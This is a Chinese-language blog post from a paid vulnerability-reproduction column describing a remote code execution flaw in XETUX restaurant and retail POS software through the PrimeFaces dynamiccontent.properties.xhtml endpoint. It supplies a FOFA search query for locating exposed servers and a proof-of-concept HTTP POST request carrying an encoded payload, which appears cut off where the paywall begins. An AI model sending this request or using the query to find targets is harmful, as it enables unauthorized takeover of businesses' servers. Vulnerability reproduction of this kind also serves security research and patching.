XETUX软件 dynamiccontent.properties.xhtml RCE漏洞复现

0xSecl

于 2023-12-14 23:20:25 发布

阅读量876

点赞数 8

分类专栏：漏洞复现文章标签：安全 web安全

本文链接：https://blog.csdn.net/qq_41904294/article/details/135006510

版权

漏洞复现专栏收录该内容

该专栏为热销专栏榜第94名

793 篇文章 1307 订阅 ¥9.90 ¥99.00

订阅专栏

超级会员免费看

本文介绍了XETUX软件中一个严重的安全漏洞，该漏洞允许攻击者通过dynamiccontent.properties.xhtml执行任意代码，获取服务器权限。复现环境可通过FOFA搜索条件title="@XETUX" && title="XPOS" && body="BackEnd"找到。目前，厂商已发布安全补丁，建议用户及时更新以防止潜在风险。

摘要由CSDN通过智能技术生成

0x01 产品简介

XETUX 是一个全面的解决方案，包括一套安全、强大和可监控的软件程序，专为自动控制餐厅和零售而设计和开发。

0x02 漏洞概述

XETUX 存在代码执行漏洞，攻击者可通过 dynamiccontent.properties.xhtml 执行任意代码获取服务器权限。

0x03 复现环境

FOFA：title="@XETUX" && title="XPOS" && body="BackEnd"

0x04 漏洞复现

PoC

POST /xc-one-pos/javax.faces.resource/dynamiccontent.properties.xhtml HTTP/1.1
Host: your-ip
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15

pfdrt=sc&ln=primefaces&pfdrid=4xE5s8AClZxUxmyaZjpBstMXUalIgOJHOtvxel%2Fv4YXvibdOn52ow4M6lDaKd9Gb8JdQqbACZNWVZpVS%2B3sX1Hoizouty1mYYT4yJsKPnUZ0LUHDvN0GB

了解本专栏

超级会员免费看

0xSecl

关注

8
点赞
踩
8

收藏

觉得还不错? 一键收藏
打赏
0
评论
XETUX软件 dynamiccontent.properties.xhtml RCE漏洞复现

XETUX存在代码执行漏洞，攻击者可通过dynamiccontent.properties.xhtml执行任意代码获取服务器权限。
复制链接

扫一扫